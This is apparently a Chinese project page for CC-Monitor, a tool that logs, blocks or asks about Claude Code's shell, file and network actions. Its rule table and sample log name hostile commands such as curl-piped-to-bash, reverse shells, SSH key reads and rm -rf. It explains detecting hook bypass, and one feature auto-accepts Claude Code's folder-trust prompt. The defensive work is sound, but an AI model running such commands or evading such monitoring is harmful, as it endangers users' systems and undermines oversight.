CC-Monitor:监测并审计
Claude Code 在你电脑上的每一个动作
CC-Monitor 是我给自己写的一个小工具:把 Claude Code 每一次读文件、写文件、跑命令、连网络都记下来。 明显危险的直接拦,拿不准的弹出来问你一句,其他的悄悄记着,事后想查随时能翻。
rm -rf ~/projects block
sudo apt install … confirm
几个让我睡不着的问题
AI agent 写代码确实爽,但它是真的在你的机器上跑 shell、真的在写你的文件。 用了一段时间以后,我发现下面这几件事没有一件是我能回答的。这个项目就是一件件补上的。
它刚才到底跑了什么命令?
终端里刷过去几十条工具调用,等你反应过来,只剩一句"已完成"。想回头查,没地方查。
CC-Monitor tail 一行命令实时看,命令还会按语法分色。它要是手一抖 rm -rf 了呢?
Claude Code 自己有权限确认,但"总是允许"点几次以后就形同虚设。真正危险的那条命令混在一堆正常命令里,你不一定看得到。
curl | bash、反弹 shell、往 ~/.ssh 里写东西这类操作,不管你之前点没点"总是允许",直接拒掉。我的 .env 和密钥有没有被读走?
模型读了 .env、~/.ssh/id_rsa、浏览器密码库,你不会收到任何提示。它可能只是"顺便看一眼",也可能已经把内容写进了某个 commit。
cat/grep/python -c open() 绕着读也能抓到。往文件里写 AWS/GitHub/Anthropic 之类的密钥格式也会拦。hook 本身被改掉了怎么办?
所有基于 hook 的监控都有个前提:Claude Code 得老实调用它。改一下 settings.json,监控就悄悄没了,而且没人知道。
claude 进程树的 execve/connect,跟 hook 记录交叉比对。探针看到了、hook 没记录,就标出来。它连了哪些外网?
模型跑 curl、git clone、pip install,数据往哪儿去了?抓包要装 CA 证书,代理又太重。
connect() 的目标 IP:port 和 getaddrinfo 里的域名,不解密 TLS、不装证书。Web UI 上有明细表、归属地和一张世界地图。它"想"的时候在想什么?
hook 只能看到"调了哪个工具",看不到模型的思考、看不到完整对话。出了问题想复盘,只能靠回忆。
一句话说,就是"看得见、拦得住、查得到"
底层是一个 Python 脚本加一份规则表,别的都是往上叠的。不装 Web UI 也能用,装了会舒服很多。
高危操作直接拦
命中 block 规则的 Bash / Write / Edit 调用直接拒绝,拒绝原因会原样回显给 Claude Code,它知道自己为什么被拦,通常会换个安全的做法。
拿不准的问你
中风险操作弹到终端让你按 y,同时发一条桌面通知;开了 Web UI 的话网页上也有一份,三处随便哪儿点都算数,谁先答听谁的。弹窗先用一句大白话说清要确认的是什么操作、为什么,规则 id 只是小字。没 tty、超时,默认拒绝。
全量审计日志
每个事件都存 SQLite,tool_input/tool_response 完整留着。CLI 和 Web UI 看的是同一份数据。想归档就点一下,用的是 SQLite 自己的 backup()。
绕过检测
CC-Monitor verify 拿探针在内核里看到的命令,去比对同一时间窗口内 hook 记录的命令。对不上的那几条,就是有人(或者有模型)在绕监控。
网络去向
目标 IP、端口、域名、上传下载字节数、连接次数,配一份本地 GeoIP 库还能看归属地。地图是 WebGL2 画的,不依赖任何地图服务。
Claude Tap
选一个会话,看模型收发的完整内容:文本、思考、工具调用、工具结果、token 用量。这是审计日志故意不展示的那部分,放在单独的页面。
浏览器里开终端
node-pty 起一个真正的 PTY,xterm.js 渲染,有 WebGL 就用 WebGL。多个会话可以切成网格视图同屏看。
账号额度
5 小时会话窗口、周额度、按模型的周额度、重置时间,读的是 Claude Code 自己存的 OAuth 凭证,查的是 Anthropic 自己的接口,跟 ccstatusline 同一个来源。
Linux 和 macOS 都能跑
hook 和规则引擎两边一样。系统层探针 Linux 用 eBPF,macOS 用自带的 nettop(不用 root,但只有网络部分)。Apple Silicon 实机验证过。
跨工作目录检测
正则看不见 cwd,这一层专门补上:把每次工具调用要碰的路径解析成绝对路径,跟项目根比对——Bash 命令按子命令拆开认路径、跟踪 cd、识别重定向和 rm / cp / tee 等写操作。跑到项目外的按位置分档(家目录隐藏配置、别的用户、系统目录、别的项目)× 读 / 写:往敏感位置写弹确认,其余只记录。系统目录里的读、临时目录、Claude 自己的状态目录不算。
hook拦截的机制
- Claude Code 每次调用工具前后,把一份 JSON 通过 stdin 交给
settings.json里配的 hook 命令,同步等它退出。 CC-Monitor-hook退出码是 2 就代表拒绝,stderr 里写的原因会被 Claude Code 展示出来。- 它是每次调用都拉起的一次性子进程,不是常驻服务。没有"监控进程挂了就失效"的问题,改完规则也不用重启任何东西,下一次调用直接生效。
rules规则引擎
- 一份有序规则表,按顺序逐条试,第一条命中就生效。所以具体的要写在通用的前面。
- 每条规则说明适用哪些工具、从
tool_input里取哪个字段、正则是什么、风险等级和动作,以及一句给人看的title/desc(审批弹窗用它说人话)。 - 首次使用拷到
~/.cc-monitor/rules.json,之后随便改。新版本加的规则按 id 自动合并,你改过或删掉的一律不动。 - 规则集变了以后,历史事件会在后台按新规则重新打一遍标签(只改 risk 和命中规则,不改当初的放行/拦截决定),首页的统计不会一直挂着过时的数。
eBPF系统层探针
probe_linux.bt挂在内核的execve/connecttracepoint 上,先用comm=="claude"认出 Claude Code 自己,再监听sched_process_fork,把"正在被监控"这个标记沿着进程树往下传。子进程改名也跟得上。- 域名不靠反向 DNS:
uprobe:libc:getaddrinfo在应用解析域名那一刻就记下来。很多云厂商出口 IP 根本没配 PTR,反查是查不到的。 - 字节数来自
tcp_sendmsg/tcp_cleanup_rbuf,按 (ip, port) 聚合上传下载量。 verify比对时做了引号归一化,兼容 zsh 快照包装命令时对引号的转义。
tapClaude Tap 怎么拿到对话的
- hook 的 payload 里有个
transcript_path,指向 Claude Code 自己写在本地的对话 JSONL。 - 直接读这个文件,解析
user/assistant/tool_use/tool_result就能把对话还原出来。不抓包、不装证书、没有中间人代理。 - context 压缩次数是真检测 transcript 里的
compact_boundary事件,不是估的。context 用量百分比是按 200K 窗口估的,这个 Claude Code 没告诉 hook 精确值。
quota账号额度从哪儿来
- 读 Claude Code 自己存的 OAuth token(Linux 在
~/.claude/.credentials.json,macOS 在登录钥匙串),拿它去调api.anthropic.com/api/oauth/usage。 - 跟 ccstatusline 读的是同一份凭证、查的是同一个接口。我没有自己另外维护一套用量统计。
- 账号资料(名字、邮箱、组织、套餐)读的是本地
~/.claude.json,这部分零网络请求。
ptyWeb 终端
node-pty起一个真正的伪终端,跟你本地开一个终端窗口没有本质区别,创建后自动往里敲claude\r。- Claude Code 第一次打开没信任过的目录会弹"是否信任这个文件夹",默认高亮是 "No, exit"。这里检测到那段文本后会自动帮你选 Yes,不然后面随便一个回车就把 Claude Code 退出去了,界面上却看着"终端明明是好的"。
- "新建窗口"跟"新建会话"唯一的区别是不敲
claude\r,只想要个终端跑脚本的时候用。
74 条默认规则,三档风险,三种动作
规则本质上就是正则。我尽量按"这事有多可能把你机器搞坏或把数据带走"来分档, 不是所有可疑的都拦,不然你会烦到把它关掉。
| 动作 | 行为 | 什么情况用 |
|---|---|---|
| block | 直接拒绝,原因回显给 Claude Code | 没有任何正当理由让 AI 干的事:rm -rf /、覆盖磁盘、fork bomb、反弹 shell、往 authorized_keys 里写 |
| confirm | 终端 + 桌面通知 + 网页三处等你按 y,超时或没 tty 默认拒绝 | 可能有正当理由但你得知道:sudo、全局 npm 安装、git push --force、改 crontab / systemd、改 Claude Code 自己的配置 |
| log | 放行,但记在审计库里 | 正常但值得留痕:本地 pip/npm 安装、读了敏感文件、普通的 kill、往外发请求 |
| notify | 不拦不问,只是把 Claude 问你的问题镜像到审批台 | AskUserQuestion 这种澄清式提问,顺手把你的回答也记下来 |
- block危险删除、dd 覆盖磁盘、
curl | bash、编码后执行的 payload、递归 chmod 777、webshell 特征写入 - block写
~/.ssh/、凭证文件、系统目录;关闭安全控制(防火墙、SELinux 之类) - confirmkill 掉 CC-Monitor 自己的探针或 hook 进程(普通 kill 只记录,不然太吵)
- confirmSSH 隧道 / 反向代理、C2 框架、后渗透工具、挖矿池域名、Docker 特权模式或挂 docker.sock
- confirm直接对数据库执行 DROP / DELETE / TRUNCATE / FLUSHALL;读浏览器密码库;读
/proc/*/environ - confirm写入内容里出现 AWS / GitHub / Anthropic / OpenAI / Slack / Stripe 等密钥前缀或私钥头
- confirm跨出当前项目往敏感位置写文件:家目录隐藏配置(
~/.xxx)、别的用户的家目录、系统目录。跨到别的项目目录读写、读系统目录只记录——边界按项目根(.git/CLAUDE.md等标记)算,不是 hook 给的 cwd - log用
cat/grep/history读 shell 历史、.env、云厂商 VPN 配置;env/printenv整个导出
// ~/.cc-monitor/rules.json 里的一条,长这样
{
"id": "curl_pipe_shell",
"risk": "high",
"action": "block",
"title": "下载脚本直接管道执行",
"desc": "从网上下载的内容不落地、直接交给 shell 执行,你看不到到底跑了什么…",
"tools": ["Bash"],
"field": "command",
"pattern": "(curl|wget)\\b.*\\|\\s*(sudo\\s+)?(ba|z|)sh\\b",
"match": "search"
}
// match 有三种:
// search — 整段命令文本里搜正则,适合"提到 X 就算"的规则(路径、重定向、下载管进 shell)
// segment — 先把命令按 ; && | 拆成子命令,剥掉 sudo/env/xargs/time 和路径前缀,
// 再把正则锚在每个子命令开头。适合"是不是真的在跑这个程序"的规则
// (装包、sudo)。bash -c "..." 和 osascript 里的 shell 会递归进去。
// workdir — 不是正则:看这次要碰的路径相对项目根在哪(跨工作目录检测),
// 用 scopes / access 挑档位,ignore_paths 加白名单。
// title / desc 是给人看的:审批弹窗、终端确认提示先显示这两句,规则 id 只是小字。
// 改完保存就行,下一次工具调用直接按新规则走。
// 新版本加的默认规则会按 id 合并进来,你动过的不碰。
Web UI 每个页面是干什么的
Web UI 是 webui/ 下一个独立的 Node 服务,默认只监听 127.0.0.1:9999。
八个页面,每个只回答一类问题,页头统一是“短标题 + ⓘ”——长段说明都收在 ⓘ 里,悬停展开。下面按顶栏顺序挨个说。
首页
回答的问题:"现在怎么样、今天它干了多少事、哪些值得我看一眼?" 紧凑仪表盘:顶部一条态势摘要,下面按"账号 & 额度 / 安全 / 活动 / 命令类 / 分布"分组,几乎每张卡都能点开看明细,分组标题旁的 ⓘ 悬停看完整说明。
- 态势摘要条五张横向卡:审计状态(运行 / 暂停 / 停止,加检测到几个
claude进程、各跑在哪个用户下——跟 Web UI 不是同一个用户会醒目提示,因为两边各按自己的$HOME找数据库)、已监测会话(附进行中的 Web UI 终端数、心跳徽章)、待审批(点击直达审批台)、已拦截 + 疑似绕过、单次额度剩余。原来散在页面四处的"现在怎么样"收在一行。 - 工具栏审计三态开关、持久化归档 / 清空当前数据、同步更新、允许其它设备访问,一行放完,每组旁边一个 ⓘ 放原来那段说明。暂停时规则照评、日志照记,但不拦也不问;停止就什么都不做。
- 账号 & 额度左边账号信息(名字 / 邮箱 / 组织 / 套餐 / 计费),右边单次额度剩余、周额度、按模型周额度三块 + 限额明细表,一行两栏。接口没返回的模型限额(比如没有 Sonnet / Opus 单独额度的套餐)整卡不画,不摆一个 "-"。
- 安全六张红卡并排:敏感操作、敏感数据、高级威胁、跨工作目录操作、截屏 / 查看图像、逆向分析工具调用,每张下面一行小字说覆盖范围(跨工作目录那张实时显示读 / 写 / 敏感位置计数)。按命中的规则近似识别,非精确,点开看分类明细。
- 活动事件总数、工具调用(只算
hook_pre)、子代理派生(按subagent_type分组)、AI 轨迹(探针实测 + 从 wget/curl/git clone/ssh 命令文本推断的目标,推断的标"推断")、Skill 调用;MCP / Glob·Grep / TodoWrite 三个低频计数合成一张卡,每个数字各自可点。下面两个盒子:文件操作(读 / 写 / 编辑 / 删除)和软件安装(pip / 系统包管理器 / npm / 其它,只有全局 npm 安装要确认)。 - 命令类操作七组紧凑卡:GitHub、SSH、下载、Docker、压缩 / 归档、网络诊断、进程管理 / 后台驻留,点开看分类小计和每条命令。
- 分布日志类型 / 风险等级 / 处置结果三个条形图。
- 截图审计Claude Code 没有截图工具,所以从三种迹象识别:Bash 调了截图 CLI、Read 打开了图片文件、MCP 或 computer-use 工具的 screenshot 动作。只显示时间和命令,永远不读取或渲染截图本身。



状态信息
回答的问题:"每个会话用的什么模型、烧了多少 token、额度还剩多少?"
- 账号 & 额度跟首页同一套两栏布局:左边名字 / 邮箱 / 组织 / 套餐,右边 5 小时会话窗口、周额度、按模型周额度三块 + 限额明细表和重置时间。数据来自
api.anthropic.com/api/oauth/usage,跟 ccstatusline 同源。 - 模型用量表按模型(Sonnet / Opus / Fable…)汇总所有被监控会话的 token 用量。
- 每个会话一行模型、token、吞吐(tok/s,从 transcript 估算)、
Σ Total / Cached汇总(算法跟 ccstatusline 一致:total = input + output + cached,cached = cache-read + cache-creation)。 - Context 用量 %按 200K 窗口估的。Claude Code 没把精确窗口大小告诉 hook,所以只能是近似。
- Context 压缩次数这个是真的:检测 transcript 里的
compact_boundary事件。 - 其他工作目录、git 分支、运行时长、被拦截次数。
网络流量
需要 CC-Monitor-probe 在跑回答的问题:"Claude Code 进程树到底连了哪些地方、传了多少数据?" 数据全来自系统层探针,不是抓包。
- 目标列表IP、端口、域名、上传 / 下载字节、连接次数、归属地。域名在 Linux 上来自
getaddrinfouprobe,macOS 上退回反向 DNS。 - 连接明细每个目标的"连接次数"可以点,两张汇总卡(总连接数 / 不同 IP 数)也可以点,看每一次连接的时间、发起进程和 PID。
- 世界地图WebGL2 画的等距圆柱投影,内置一份低精度海岸线,不依赖任何地图瓦片服务。每条连接从一个示意锚点画一条弧到目标,有个光点沿着弧跑,方向跟着哪边字节多走。WebGL2 不可用就退回 Canvas 2D。
- 示意锚点为什么在 (0,0)那是海里。我故意不去问第三方"我的公网 IP 是什么"来定位你,这个点只是画图用的起点,不是你的位置。
- GeoIP本地库,不逐 IP 调第三方接口。
install.sh默认下载不用注册的 DB-IP Lite;也可以自己放 MaxMind GeoLite2。没配的话归属地列和地图就是空的,页面会直说"没配 GeoIP 库",不编数据。 - 探针没跑这页就是空的,不报错。
终端会话
回答的问题:"能不能不切窗口,直接在这个页面里开 Claude Code?" 能。
- 新建会话选个工作目录,后端用
node-pty起一个 PTY,自动敲claude\r。首次打开目录的"信任此文件夹"弹窗会自动替你选 Yes。 - 新建窗口同一个选目录弹窗,唯一区别是不敲
claude\r。只想跑个脚本、看看文件的时候用。 - 渲染xterm.js + WebGL addon,GPU 可用就走 GPU,否则退回 Canvas。顶栏有个小标显示当前用的哪种。
- 网格视图侧边栏能切成 herdr 那种网格,所有在线会话一屏摆开,点哪个格子键盘就打到哪个。
- 心跳指示每个会话有个随活跃度连续变色的小点,一小时没动静就拉平线,空闲的保留一点底色不会完全变灰。
127.0.0.1。
首页那个"允许其他设备访问"开关只是个标志位,真正的边界是进程启动时绑的地址,网页改不了。
要真对外开,得管理员自己设 CC_MONITOR_WEBUI_HOST=0.0.0.0 重启,然后那个开关才有意义。
AI 审批台
回答的问题:"有没有什么事在等我点头?" 把 Claude Code 的"要不要继续"弹窗镜像到网页上,思路跟 Vibe Island 在 Mac 刘海里弹 Allow/Deny 差不多,只是跨平台。
- 两种请求会到这里一种是我们自己规则表里标 confirm 的操作;另一种是 Claude Code 原生的 "Do you want to proceed?"(
PermissionRequesthook 事件),没命中任何规则但 Claude Code 自己的权限系统想问你。 - 先说人话每张卡第一行是“需要确认:git 强制推送”这种一句话标题,第二行解释为什么要确认(“会覆盖远程分支历史,别人已拉取的提交可能丢失”),规则 id 和工具名退到最后一行小字。74 条规则每条自带这两句(
title/desc,改rules.json网页跟着变);Claude Code 原生确认按工具名给一句。终端里的确认提示和桌面通知也带同样的说明。 - 谁先答听谁的同一个请求,终端按 y/N 和网页上点,哪个先来算哪个。网页上点了允许,Claude Code 自己的弹窗就不再弹了,不会问你两遍。
- 不抢安全网90 秒没人答,或者你在终端直接按回车,请求原样交回 Claude Code 原生弹窗。装了 CC-Monitor 不会让原来的确认消失。
- 选项允许一次、拒绝一次、允许并 10 / 30 分钟内不再问、本会话内总是允许。
- 桌面通知浏览器 Notification API,标签页没开也能收到,点通知直接跳回来。Electron 版走另一条路:系统提示音 + Dock 弹跳 + 角标。
- 历史表每个处理过的请求都留着:时间、会话、工具、命中规则(显示人话标题,悬停看 id)、结果、通过哪里处理的。
AskUserQuestion这类提问还会记下你在终端里实际选了什么。"清空当前数据"不动这张表。
Log 审计
CLI 等价:CC-Monitor tail回答的问题:"发生了什么操作、风险几级、放行了还是拦了?" 这是安全审计视角,内容是故意打码的。
- 实时刷新的全宽列表可以按会话筛选,下拉框显示"目录 · 模型 · 短 ID",不是一串看不懂的 UUID。
- 跟 CLI 一套翻译逻辑原始 JSON 翻成"事件类型 + 摘要 + 结果",Bash 命令按语法分色。
- 看得到什么Write / Edit 只显示"路径(N 字节)",TodoWrite 只显示条目数,截图只显示元数据。永远不显示读写的正文。
- 颜色风险 / 操作类型 / 状态的标签用固定的高饱和色,不跟主题变;高风险那行整行标红加粗。
- 它跟 Claude Tap 的区别Log 审计的数据来自 events.db,回答"做了什么";Claude Tap 的数据来自 transcript 文件,回答"说了什么、想了什么"。两个数据源、两种克制程度,不是同一份数据的两个视图。

Claude Tap
CLI 等价:CC-Monitor tap [--session ID] [-f]回答的问题:"这个会话里 Claude 到底说了什么、想了什么?" 复盘和 debug 用的,内容不打码。
- 先选会话右上角下拉框选一个会话逐条看,或者选“★ 全部会话”把每个会话最近一段合并按时间排。没选的时候页面会提示,不是空白。
- 逐条还原text / thinking / tool_use / tool_result / token 用量,每种字段一个颜色。包括 Log 审计永远看不到的思考过程,因为 hook 只在工具调用边界看世界,思考不经过那里。
- 数据来源Claude Code 自己写在本地的 transcript JSONL,hook payload 里的
transcript_path指过去的。不抓包,不做 MITM。 - 关于"思考为空"Sonnet 5 / Opus 5 / Opus 4.8 / 4.7 这些新模型 API 默认
display: "omitted",思考正文根本不在响应里,本地 transcript 自然也没有。Opus 4.6 / Sonnet 4.6 及更早的会有。有正文就完整展开,没有就如实说明,不假装能变出来。
历史数据
回答的问题:"上周清空之前的那批数据还能看吗?" 能,前提是清空前点过归档。
- 列表每一份归档的时间、事件数、会话数、覆盖的时间范围。可以打开,可以删。
- 快照怎么做的SQLite 官方的
backup()API,不是复制文件。WAL 模式下还没落盘的数据它会正确处理,直接 cp 会漏。 - 打开一份归档用跟 Log 审计一样的方式浏览里面的事件,分页加载。
顶栏 & 外观设置
顶栏上除了页面切换,还有几个常驻的小东西。
- 审计状态小标运行中 / 已暂停 / 已停止,跟首页那个三态开关联动,切到哪个页面都看得见。
- 审批角标"AI 审批台"标签上的数字,有几个在等你就显示几。
- 渲染方式终端当前是 WebGL 还是 Canvas。
- 主题下拉10 套配色:标准 / 深色 / 浅色 / Dracula / Nord / Midnight / Ocean / Forest / Sunset / Rose。
- ⚙ 外观设置主题换成色块网格选;界面字体(系统默认 / 等宽 / 衬线 / 圆体 / 楷体 / 黑体 / 宋体);字号 12 到 18px 滑杆,整个 app 按 rem 等比缩放。有实时预览,存在 localStorage。
- 中文字体不内置一套 CJK 字体文件 17 到 21MB,切一次字体要等半天,不值。选项只是字体名引用,你系统里有就生效。
- EN / 中 切换翻译的是界面文字(导航、按钮、标题、空状态提示、风险 / 状态标签),不翻数据本身(命令文本、工具输出、对话内容)。
- 静态资源 no-store这个 UI 还在快速迭代,改完代码刷新就是最新的,不用清缓存。
不开浏览器也能用
bin/ 下三个可执行脚本,Python 标准库,没有编译步骤。
make install 会把它们链到 /usr/local/bin,不装也能 ./bin/CC-Monitor 直接跑。
| 命令 | 干什么 |
|---|---|
CC-Monitor tail | 实时看事件,Ctrl+C 退出。-v 连原始 JSON 一起打。真 tty 自动上色,NO_COLOR 或 CC_MONITOR_COLOR=never 关掉。 |
CC-Monitor rules | 列出当前生效的规则。 |
CC-Monitor stats | 按风险等级 / 决策结果统计。 |
CC-Monitor verify | 列出探针看到了、hook 却没记录的可疑命令。Linux 专属。 |
CC-Monitor tap | 终端版 Claude Tap,--session ID 选会话,-f 跟随。 |
CC-Monitor rematch | 预览"按当前规则重新给历史事件打标签"的结果,--apply 真的执行。 |
CC-Monitor workdir | 列出 AI 跨出当前项目去读写文件的记录,先按规则小计再逐条列。--limit N 控制条数。 |
CC-Monitor-hook | 被 Claude Code 调用的那个 hook,你不用手动跑。 |
sudo CC-Monitor-probe | 系统层探针。Linux 要 root 跑 bpftrace;macOS 不要 root,自动切到 nettop。 |
CC_MONITOR_HOME 换数据目录(默认 ~/.cc-monitor/);
CC_MONITOR_COLOR 强制开关颜色;CC_MONITOR_WEBUI_HOST 改 Web UI 绑定地址;
CC_MONITOR_GEOIP_DB 指定 GeoIP 库路径。
14:02:11 PreToolUse Bash git status
allow —
14:02:13 PostToolUse Bash exit 0
14:02:40 PreToolUse Write ./src/api.ts (1.2 KB)
allow —
14:03:02 PreToolUse Bash npm install -g some-cli
confirm npm_global_install [medium]
等待终端确认 (y/N)… y → allow (via web)
14:05:18 PreToolUse Bash curl -fsSL https://x.y/i.sh | bash
BLOCK curl_pipe_shell [high]
14:05:19 PreToolUse Read ~/.ssh/id_ed25519
BLOCK sensitive_file_read [high]
14:06:44 PreToolUse Bash rm -rf ~/projects/old
BLOCK dangerous_delete [high]
14:07:01 PreToolUse Bash cat .env
allow sensitive_file_read_bash [medium, log]
两分钟装好,不喜欢一分钟卸掉
安装脚本做的每一步都是幂等的,不会覆盖你已有的任何配置。
hook 是往 ~/.claude/settings.json 的数组里合并进去,按命令字符串去重,你原来的 hook 一个不动。
只要核心功能
拦截 + 审计 + CLI。不装任何 npm 或 Python 依赖,就是往 settings.json 里注册 hook。
git clone https://github.com/cn0xroot/CC-Monitor.git
cd CC-Monitor
python3 install.py
# 然后重启 Claude Code,只有新会话会读新配置
全套
一个脚本跑 5 步:ccstatusline 状态栏、hook 注册、Web UI 依赖、探针检测、GeoIP 库。每步可以单独跳过。
./install.sh
./install.sh --skip-ccstatusline --skip-geoip
./start.sh # 起 Web UI,http://127.0.0.1:9999
想要系统层探针
Linux 装个 bpftrace 就行,macOS 什么都不用装。探针要单独手动启动,目前没有 systemd 常驻。
sudo apt install bpftrace # Debian/Ubuntu
sudo ./bin/CC-Monitor-probe
# macOS 直接跑,不用 sudo:
./bin/CC-Monitor-probe
环境要求
hook 部分:Python 3.8+,标准库。
Web UI:Node.js ≥ 22,这个数不是我随便定的,是 better-sqlite3 自己在 engines 里声明的,老版本装到一半会挂。
桌面版:npm run electron,Electron 44+。33.x 在 Zen 5 上启动就段错误,所以别往回降。
我实际验证过的环境:Ubuntu 24.04、Node 22.17、Python 3.13、Apple Silicon M4。
装到系统路径 / 卸载
sudo make install # /usr/local/lib/cc-monitor + /usr/local/bin
sudo make install PREFIX=/opt/cc-monitor
sudo make uninstall # 只删代码和软链,settings.json 里的 hook 要自己删
两个平台分别能做到哪一步
| 能力 | Linux | macOS | 备注 |
|---|---|---|---|
| hook 拦截 / 确认 / 审计 | ✓ | ✓ | 完全一样 |
| Web UI / CLI / Claude Tap / 审批台 | ✓ | ✓ | 完全一样 |
| 系统层网络观测(IP / 端口 / 字节数) | ✓ eBPF | ✓ nettop | macOS 每 2 秒采样一次,不用 root |
| 域名捕获 | ✓ getaddrinfo uprobe | 反向 DNS 兜底 | 云厂商出口 IP 反查经常查不到 |
| 系统层 execve 观测 / 绕过检测 | ✓ | ✗ | macOS 要 Endpoint Security 签名扩展,还没做 |
| 桌面版打包 | ✓ AppImage(x64 验证过) | dmg 能打包,没完整验证 | Developer ID 签名才有系统通知 |
先说清楚它不是什么
这些我写在 README 里,也写在这里。不希望有人装完以为自己有了个沙箱。
产品边界
- 只看 Claude Code 发起的操作。你自己在终端敲的命令、在对话框里用
!前缀跑的命令、Claude 因为 sudo 要密码而让你自己去执行的命令,都不在审计库里。这是边界,不是漏检。 - 拦截靠正则,不是语义分析。总有绕过的写法,也总有误伤的正常操作。用自然语言描述的等价危险操作现在识别不了。
- 探针只审计,不强制隔离。看到 hook 被绕过会标出来,但不会自动阻止。Landlock / bubblewrap 那种真沙箱在路线图上,还没做。
- Web UI 和 claude 必须是同一个系统用户。否则两边各写各的
~/.cc-monitor/,审批台和审计页会是空的。首页有卡片专门提醒这事。 - confirm 依赖 /dev/tty。CI、无头环境直接拒绝。
技术上的粗糙之处
- 绕过检测是模糊匹配。系统负载高、探针处理有延迟时,
verify可能要等一会儿才看到最新结果。 - 字节数只算 IPv4 TCP。IPv6 和 UDP 能在连接时间线里看到,但没有上传下载字节数。
- 归属地精度就是免费 GeoIP 库的精度。移动网络和 CDN 出口 IP 经常定到机房而不是用户位置。这是 IP 定位技术本身的问题。
- 审计日志和被监控进程同一用户权限。理论上可以被同用户进程删改。异地转发、只追加权限这些加固还没做。
- 探针不常驻。要手动 sudo 起,没有 systemd unit,没有开机自启。
- 没打成单文件。依赖系统 Python 直接跑,PyInstaller / Nuitka 在 TODO 里。
试试看,不合适就 make uninstall
装完第一件事建议跑 CC-Monitor rules,看看默认在拦什么。有什么不对劲的,issue 里说。